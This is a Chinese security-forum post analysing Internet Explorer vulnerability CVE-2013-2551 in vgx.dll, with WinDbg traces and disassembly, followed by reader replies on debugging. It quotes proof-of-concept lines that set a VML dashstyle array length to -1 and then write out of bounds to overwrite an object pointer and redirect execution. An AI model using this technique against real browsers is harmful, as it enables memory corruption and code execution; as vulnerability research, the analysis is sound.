首页
社区
课程
招聘
[原创]IE漏洞CVE-2013-2551分析-附poc
发表于: 2013-6-14 19:22 7267

[原创]IE漏洞CVE-2013-2551分析-附poc

2013-6-14 19:22
7267
这个漏洞好多地方都说是UAF,但我调了一下感觉应该是一个整数溢出类型漏洞。下面是我的分析结果,贴出来和大家一起研究,欢迎拍砖。
     POC来自于:
                http://www.binvul.com/viewthread.php?tid=311&extra=page%3D1
      感谢4B5F5F4B大牛,已经附在了附件中,解压密码为lvbluesky。

IE 漏洞 CVE-2013-2551 分析
By lvbluesky
     这个漏洞好多地方都说是 UAF,但我调了一下感觉应该是一个整数溢出类型漏洞。下面是我的分析结果,贴出来和大家一起研究。POC 已经附在了附件中。

1. 调试环境
     Windows xp sp2+IE8+Windbg

2. 漏洞综述
      vgx.dll 在重设 COALineDashStyleArray length 大小时如果输入负数,会产生整数溢出,
该值被改写为一个很大的数,导致向 COALineDashStyleArray 的越界写入。可控制越界写
入的大小和内容,覆盖 COALineDashStyleArray 后面的函数指针。

3. 漏洞细节
程序在此处为 ID 为“shape”的 stroke 元素建立 dashstyle array:
021ad39c 0332c3c0 021ad3c8 00000020 00000101 vgx!GelHost::FAllocMemCore+0x8
021ad3c0 0332c545 00000004 00000008 ffffffff vgx!MsoFResizePx+0x69
021ad3dc 032ed0bb 00987de4 00000005 021ad494 vgx!MsoFGrowPx+0x18
021ad3f8 0335a068 00987de0 021ad42c 00000001 vgx!ORG::FAppendRange+0x39
021ad414 0335a0e2 021ad42c 00000004 0023dd34 vgx!VGPIE5array::FAddElement+0x42
021ad47c 0332cdfd 0023dd34 0000000f 009860a0 vgx!VGPIE5DwordArray::Text+0x60
021ad4a0 0332d379 0023dd34 00000000 0023dd34 vgx!GetArrayVal+0x86
021ad4b4 03332c51 00986080 0023dd34 000001cf vgx!ParseDashStyle+0x21
021ad4e8 033327be 00000001 ffffff88 021ad620 vgx!CVMLStroke::InternalLoad+0x100
021ad504 032e33b1 021ad618 021ad5a0 00000003 vgx!CVMLShapeIOProxy::Load+0x22
021ada5c 032e4331 02d44664 00000000 021ada98 vgx!CSimpleTag::Load+0x5e9
021ada6c 63800468 00986470 02d44664 00000000 vgx!CPTPropBag2<CSimpleTag>::Load+0x16
021ada98 635c1326 00206ac8 00000000 027e1790 mshtml!CPeerHolder::InitAttributes+0xa9
021adabc 635c120b 00000000 027e1790 00000000 mshtml!CPeerHolder::AttachPeer+0xb7
021adae4 637800d6 027e1790 00000000 00206ac8 mshtml!CPeerHolder::Create+0x59
021adafc 6377d8ca 00000000 027e1738 021afb80 mshtml!CPeerFactoryUrl::AttachPeer+0x29
021adb0c 6377dad2 00203c34 00000003 0020e7a8 mshtml!CDoc::AttachPeerUrl+0x31
021afb80 6376f580 0020e7a8 021afba8 00000000 mshtml!CDoc::AttachPeersCss+0x1d4
021afbcc 6376f4df 00000004 7c8092ac 0073fd3c mshtml!CElement::ProcessPeerTask+0x181
021afbe8 635c075d 0020bab0 00000000 021a0013 mshtml!CMarkup::ProcessPeerTasks+0xe9

vgx!GelHost::FAllocMemCore:
032e56d8 8bff               mov      edi,edi
032e56da 55                  push     ebp
032e56db 8bec               mov      ebp,esp
032e56dd ff750c             push     dword ptr [ebp+0Ch]
032e56e0 ff1534102c03     call     dword ptr [vgx!_imp__malloc (032c1034)] 

vgx!GelHost::FAllocMemCore+0x8:
032e56e0 call  dword ptr [vgx!_imp__malloc (032c1034)] ds:0023:032c1034={msvcrt!malloc
(77bfc407)}
0:001> dd esp
021ad398  00000020 021ad3c0 0332c3c0 021ad3c8
0:001> p
eax=00987d90 ebx=00000005 ecx=00000000 edx=77c31aa0 esi=00987de4 edi=0000ffff  
eip=032e56e6 esp=021ad398 ebp=021ad39c iopl=0  nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000206
vgx!GelHost::FAllocMemCore+0xe:
032e56e6 59                  pop      ecx

       由于 poc 中“<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>”,dashstyle array 的元素个数为 8,每个元素大小为 4Byte,所以此处申请的空间大小为 20h。申请到的空间从 00987d90开始。
      然后将此位置记录到 vgx!ORG 对象中:
eax=00987d90 ebx=00000005 ecx=00987dc0 edx=77c31aa0 esi=00987de4 edi=0000ffff
eip=0332c485 esp=021ad3b0 ebp=021ad3c0 iopl=0           nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000206
vgx!MsoFResizePx+0x12e:
0332c485 89460c             mov      dword ptr [esi+0Ch],eax ds:0023:00987df0=00987dc0
0:001> u poi(esi-4)
vgx!ORG::`vftable':

       分析得到 vgx!ORG 的结构:
vgx!ORG
+4:dashstyle array 元素个数,
+10h:dashstyle array 指针
然后递增 vgx!ORG+4 处的值,最终修改为 8。
然后程序创建 0x400 个 vgx!CVMLShape 对象,在初始化每个对象时还会创建一个
vgx!CSafePtr 对象,最后通过该对象找到 vgx!CVMLShape 对象。
ChildEBP RetAddr  Args to Child
021a9e1c 0332a5be 00988108 021a9e5c 0332a609 vgx!CSafePtr::CSafePtr+0x14
021a9e28 0332a609 021a9e5c 021a9e44 03325f1e vgx!CObjectSafe::GetSafePtr+0x2e
021a9e34 03325f1e 00988108 00988360 021a9e54 vgx!CSafeRef::CSafeRef+0x17
021a9e44 03326852 009880d0 00988360 021a9e74
vgx!CTreeRefTo<CVMLShape>::CTreeRefTo<CVMLShape>+0x1e
021a9e54 033272b5 00000000 00000000 00000000 vgx!CVMLShape::SetSibling+0x13
021a9e74 033284be 009880d0 00000000 00986550 vgx!CVMLPage::AddToplevel+0x36
021a9e9c 03329c45 00986550 00000000 0000003d vgx!CVMLShape::Init+0x319
021a9ebc 033321ae 0000003d 00000000 00988170 vgx!CVMLPage::FAddShape+0xd2
021a9f00 032e2f63 021a9f44 0000003d 00988170 vgx!CVMLPage::CreateContainer+0x203
021aa454 032e5481 02d0a0ec 00000000 00000000 vgx!CSimpleTag::Load+0x19c
021aa46c 032e5540 02d0a0ec 00000000 021aa4a8 vgx!CParserTag::Load+0x14
021aa47c 63800468 00988bb0 02d0a0ec 00000000 vgx!CPTPropBag2<CParserTag>::Load+0x16
021aa4a8 635c1326 00207128 00000000 027e1790 mshtml!CPeerHolder::InitAttributes+0xa9 
021aa4cc 635c120b 00000000 027e1790 00000000 mshtml!CPeerHolder::AttachPeer+0xb7
021aa4f4 637800d6 027e1790 00000000 00207128 mshtml!CPeerHolder::Create+0x59
021aa50c 6377d8ca 00000000 027e1738 021ac590 mshtml!CPeerFactoryUrl::AttachPeer+0x29
021aa51c 6377dad2 0023d544 00000003 0020e6e8 mshtml!CDoc::AttachPeerUrl+0x31
021ac590 6376f580 0020e6e8 021ac5b8 00000000 mshtml!CDoc::AttachPeersCss+0x1d4
021ac5dc 6376f4df 00000004 02d79d10 0020e568 mshtml!CElement::ProcessPeerTask+0x181
021ac5f8 63664103 0020bab0 00000000 02d79d10 mshtml!CMarkup::ProcessPeerTasks+0xe9


eax=00988090 ebx=00986568 ecx=00988108 edx=77c31aa0 esi=00988108 edi=00986550
eip=0332a519 esp=021a9e1c ebp=021a9e1c iopl=0           nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000246
vgx!CSafePtr::CSafePtr+0xe:
0332a519 c7004ccd2d03     mov      dword ptr [eax],offset vgx!CSafePtr::`vftable' (032dcd4c)
ds:0023:00988090=????????

      注意这里在 00988090 位置创建了一个 CSafePtr 对象。
      然后 poc 中改变了 dashstyle.array 的长度:
“shape.dashstyle.array.length      = 0 - 1”
      其实从 0 – 1 这一运算中可以猜到溢出就发生在这里。代码中是在这里执行的:
ChildEBP RetAddr  Args to Child
021ac298 770f73d0 00987de0 ffffffff 021ac2e8 vgx!COALineDashStyleArray::put_length+0x71
021ac2b4 770f79e0 0378b6c0 00000030 00000004 oleaut32!DispCallFunc+0x16a
021ac344 033246a1 02cc89c4 0378b6c0 00000000 oleaut32!CTypeInfo2::Invoke+0x234
021ac4d0 03344a92 0378b6c4 0378b6c0 03362244 vgx!COADispatch::Invoke+0x89
021ac504 633a9003 0378b6c0 00000002 633a7224
vgx!COADispatchImpl<IVgDashStyleArray,&IID_IVgDashStyleArray,COAShapeProg>::Invoke+0x2f
021ac548 633a8f4a 00985ae0 00000002 00000409 jscript!IDispatchInvoke2+0xe5
021ac584 633a8ebd 00985ae0 00000409 00000004 jscript!IDispatchInvoke+0x6a
021ac644 633aa53f 00985ae0 00000002 00000004 jscript!InvokeDispatch+0xa6
021ac670 633a77ff 00985ae0 021ac6a4 0000000c jscript!VAR::InvokeByName+0x90
021ac6b8 633a75bf 00985ae0 0000000c 00000000 jscript!VAR::InvokeDispName+0x7a
021ac894 63682dd5 02848dc0 00984580 021af780 jscript!CScriptRuntime::Run+0x1f27
00000000 00000000 00000000 00000000 00000000 mshtml!CFlowLayout::Draw+0x1d


0333db50 3bc6               cmp      eax,esi
0333db52 7d55               jge      vgx!COALineDashStyleArray::put_length+0xca (0333dba9)
0333dba9 8b4d08             mov      ecx,dword ptr [ebp+8] ss:0023:021ac2a0=00987de0
0333dbac 8b11               mov      edx,dword ptr [ecx]
0333dbae 2bc6               sub      eax,esi
0333dbb0 50                  push     eax
0333dbb1 56                  push     esi
0333dbb2 51                  push     ecx
 
0333dbb3 ff5228    call     dword ptr [edx+28h]      // vgx!ORG::DeleteRange

具体执行过程为:
eax=00000008 ebx=03344988 ecx=032d72c8 edx=021ac26c esi=ffffffff edi=00000000
eip=0333db50 esp=021ac280 ebp=021ac298 iopl=0           nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000202
vgx!COALineDashStyleArray::put_length+0x71:
0333db50 3bc6               cmp      eax,esi

此处 eax 值为 vgx!ORG+4 处的值,此时为 8,esi 为函数传入的参数,也就是 0-1 的结果。
判断逻辑是:如果传入的值大于原有值,就执行增加 dashstyle.array 长度的函数;如果反之
则执行减小 dashstyle.array 长度的函数。由于 ffffffffh 为一负数,判断后程序执行减小
dashstyle.array 长度的函数:
vgx!COALineDashStyleArray::put_length+0xd4:
0333dbb3 call  dword ptr [edx+28h]  ds:0023:032d72f0={vgx!ORG::DeleteRange (032ecfd6)}
0:001> dd esp
021ac274  00987de0 ffffffff 00000009 00000000
[\CODE]
      此函数的参数 1 为 vgx!ORG 位置,参数 2 为需要设定的值,参数 3 为需要减少的大小,
也就是原有值-需设定值,程序中是由 sub eax,esi 得到的,此处 8-(-1)=9。
      进入此函数后发现,函数会用原有长度的低两位减去需要减少的值,将结果截断为 2
字节后保存在 vgx!ORG+4 处,最终结果为 0000ffff,在此处发生溢出。执行过程如下:
[CODE]
eax=00000008 ebx=00000009 ecx=00987d8c edx=00000008 esi=00987de4 edi=00000004
eip=0332c2f9 esp=021ac234 ebp=021ac240 iopl=0           nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000246
vgx!MsoFRemovePx+0xa7:
0332c2f9 66291e             sub      word ptr [esi],bx          ds:0023:00987de4=0008
0:001> p
0:001> dd esi
00987de4  0000ffff 00040004 00000000 00987d90
[\CODE]
       然后 poc 循环修改 dashstyle.array.item 的值
[CENTER]“shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b”[/CENTER]
       程序中对应于此处:
[CODE]
ChildEBP RetAddr  Args to Child
021ac25c 770f73d0 00987de0 000000c0 4b5f5f4b vgx!COALineDashStyleArray::put_item+0x81
021ac27c 770f79e0 0378b6c0 00000028 00000004 oleaut32!DispCallFunc+0x16a
021ac30c 033246a1 02cc89c4 0378b6c0 00000000 oleaut32!CTypeInfo2::Invoke+0x234
021ac498 03344a92 0378b6c4 0378b6c0 03362244 vgx!COADispatch::Invoke+0x89
021ac4cc 633a9003 0378b6c0 00000000 633a7224
vgx!COADispatchImpl<IVgDashStyleArray,&IID_IVgDashStyleArray,COAShapeProg>::Invoke+0x2f
021ac510 633a8f4a 00985ae0 00000000 00000409 jscript!IDispatchInvoke2+0xe5
021ac54c 633a8ebd 00985ae0 00000409 00000004 jscript!IDispatchInvoke+0x6a
021ac60c 633aa53f 00985ae0 00000000 00000004 jscript!InvokeDispatch+0xa6
021ac638 633a77ff 00985ae0 021ac66c 0000000c jscript!VAR::InvokeByName+0x90
021ac684 633a85c7 00985ae0 0000000c 00000000 jscript!VAR::InvokeDispName+0x7a
021ac6b0 633a481b 00985ae0 00000000 0000000c jscript!VAR::InvokeByDispID+0xce
021ac894 63682dd5 02848dc0 00984580 00984900 jscript!CScriptRuntime::Run+0x2a0c
00000000 00000000 00000000 00000000 00000000 mshtml!CFlowLayout::Draw+0x1d
 

0333dab0  cmp  dword  ptr [ebp+0Ch],eax ss:0023:021ac268=000000c0  //000000c0 为 item key,eax=0000ffff 为 array length
0333dab3  jge      vgx!COALineDashStyleArray::put_item+0x8b (0333dac8) //越界判断
0333dab5  mov      eax,dword ptr [ebp+8]
0333dab8  push     dword ptr [ebp+0Ch]
0333dabb  mov      ecx,dword ptr [eax]
0333dabd  push     eax
0333dabe  call     dword ptr [ecx+20h]  ds:0023:032d72e8={vgx!ORG::PGet (032ed029)}   //Get dashstyle.array.item Addr
 

0333dac1  mov      ecx,dword ptr [ebp+10h]   //Get 4b5f5f4b
0333dac4  mov      dword ptr [eax],ecx  //eax= 00988090 

=====================================

vgx!ORG::PGet:
.text:032ED029                      mov      edi, edi
.text:032ED02B                      push     ebp
.text:032ED02C                      mov      ebp, esp
.text:032ED02E                      mov      ecx, [ebp+arg_0]
.text:032ED031                      mov      eax, [ecx+8]
.text:032ED034                      and      eax, 0FFFFh
.text:032ED039                      imul     eax, [ebp+arg_4]   //eax=4,size*key= 00000300
.text:032ED03D  add  eax, [ecx+10h]  // ds:0023:00987df0=00987d90, dashstyle.array 地址
.text:032ED040                      pop      ebp
.text:032ED041                      retn     8

由于 array length 被修改为 0000ffff,所以越界检查失败,越界写入覆盖了 dashstyle.array
后面 00988090 位置的 CSafePtr 对象,写入了 POC 中的地址 4b5f5f4b,也由此导致了最后程序崩溃:
ChildEBP RetAddr  Args to Child
021ac0d8 03326596 00986bd4 03327c6e 07eab604 vgx!CSafeRef::State+0x8
021ac0e0 03327c6e 07eab604 00986bd4 0332c076 vgx!CVMLUpdate::GetVMLShape+0xd
021ac0ec 0332c076 00986bd4 00986bd4 021ac1d8 vgx!SgnCompareRTSUpdate+0xb
021ac100 0332c62f 00986bd4 021ac1d8 021ac12c vgx!MsoFLookupPx+0x65
021ac11c 03327d6a 00986bd4 021ac1d8 03327c63 vgx!MsoPLookupPx+0x19
021ac1bc 0332944b 021ac1d8 03327c63 00000000
vgx!CVMLUpdateQueue<CVMLRTSUpdate>::AppendUnique+0x34
021ac258 03329f16 0099c310 00000141 00000000 vgx!CVMLRTSUpdate::AddKey+0x69
021ac26c 03340328 00000141 00000000 00000000 vgx!CVMLShape::RefreshStyle+0x11
021ac298 770f73d0 0378c4c0 07e800dc 021ac2e8 vgx!COARuntimeStyle::put_marginLeft+0x97
021ac2b4 770f79e0 0378c4c0 00000048 00000004 oleaut32!DispCallFunc+0x16a
021ac344 033246a1 02cc88bc 0378c4c0 00000000 oleaut32!CTypeInfo2::Invoke+0x234
021ac4d0 033454b2 0378c4c4 0378c4c0 033622ec vgx!COADispatch::Invoke+0x89
021ac504 633a9003 0378c4c0 00000069 633a7224
vgx!COADispatchImpl<IVgRuntimeStyle,&IID_IVgRuntimeStyle,COAShapeProg>::Invoke+0x2f
021ac548 633a8f4a 00985ae0 00000069 00000409 jscript!IDispatchInvoke2+0xe5
021ac584 633a8ebd 00985ae0 00000409 00000004 jscript!IDispatchInvoke+0x6a
021ac644 633aa53f 00985ae0 00000069 00000004 jscript!InvokeDispatch+0xa6 
021ac670 633a77ff 00985ae0 021ac6a4 0000000c jscript!VAR::InvokeByName+0x90
021ac6b8 633a75bf 00985ae0 0000000c 00000000 jscript!VAR::InvokeDispName+0x7a
021ac894 63682dd5 02848dc0 00984580 00984900 jscript!CScriptRuntime::Run+0x1f27
00000000 00000000 00000000 00000000 00000000 mshtml!CFlowLayout::Draw+0x1d
 


.text:0332A4C9                      mov      ecx, [ecx]    // ds:0023:07eab610=00988090
.text:0332A4CB                      test     ecx, ecx
.text:0332A4CD                      jz       short loc_332A4D3
.text:0332A4CF                      mov      eax, [ecx]
.text:0332A4D1                      jmp      dword ptr [eax]
(908.a20): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=4b5f5f4b ebx=00000005 ecx=00988090 edx=021ac1d8 esi=07eab604 edi=021ac1d8
eip=0332a4d1 esp=021ac0dc ebp=021ac100 iopl=0           nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000                 efl=00000206
vgx!CSafeRef::State+0x8:
0332a4d1 ff20               jmp      dword ptr [eax]       ds:0023:4b5f5f4b=????????


注:本帖由看雪论坛志愿者PEstone 重新将PDF整理排版,若和原文有出入,以原作者附件为准

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 5
支持
分享
最新回复 (16)
雪    币: 45
活跃值: (55)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
这个可以看看
谢谢

问个问题 为什么我见到调IE的漏洞的都是用的WINDBG?
跟OD有什么不同?我觉得WINDBG好像还麻烦点啊
2013-6-14 20:34
0
雪    币: 220
活跃值: (701)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
用IE6的,表示没有压力
2013-6-14 22:09
0
雪    币: 1491
活跃值: (975)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
4
楼主可以分析的更详细一些
2013-6-14 22:25
0
雪    币: 91
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
可能是个人习惯吧,习惯了敲命令,而且感觉od载入ie有些慢
2013-6-14 23:01
0
雪    币: 91
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
6
好的,可能是受能力限制,我会努力的
2013-6-14 23:02
0
雪    币: 72
活跃值: (39)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
感谢楼主分享
2013-6-14 23:23
0
雪    币: 1491
活跃值: (975)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
8
OD有些断点没有windbg断的准确
2013-6-15 07:03
0
雪    币: 437
活跃值: (78)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
标记,学习一下
2013-6-15 09:15
0
雪    币: 12
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
学习一下,楼主牛人
2013-6-16 21:41
0
雪    币: 159
活跃值: (40)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
11
IE9都可以,是这样的么,各位?
2013-6-17 09:33
0
雪    币: 230
活跃值: (106)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
学习,谢谢分享!
2013-6-17 10:24
0
雪    币: 12
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
学习学习
2013-6-18 00:08
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
这是必须认真进行学习的。
2013-6-18 09:43
0
雪    币: 74
活跃值: (703)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
不错,感谢分享
2013-6-18 15:51
0
雪    币: 71
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
请教下楼主,就是在分析ie漏洞时,如何下断点来分析ie中那么多对象的创建和销毁?楼主能否给个联系方式,请教一些问题,我在分析ie漏洞时遇到一些问题不知道怎么下手?
2013-6-20 15:00
0
雪    币: 91
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
17
可以断在mshtml!CreateElement函数处,销毁断在mshtml!CElement::~CElement或不同对象对应的析构函数处
2013-6-20 17:28
0
游客
登录 | 注册 方可回帖
返回
//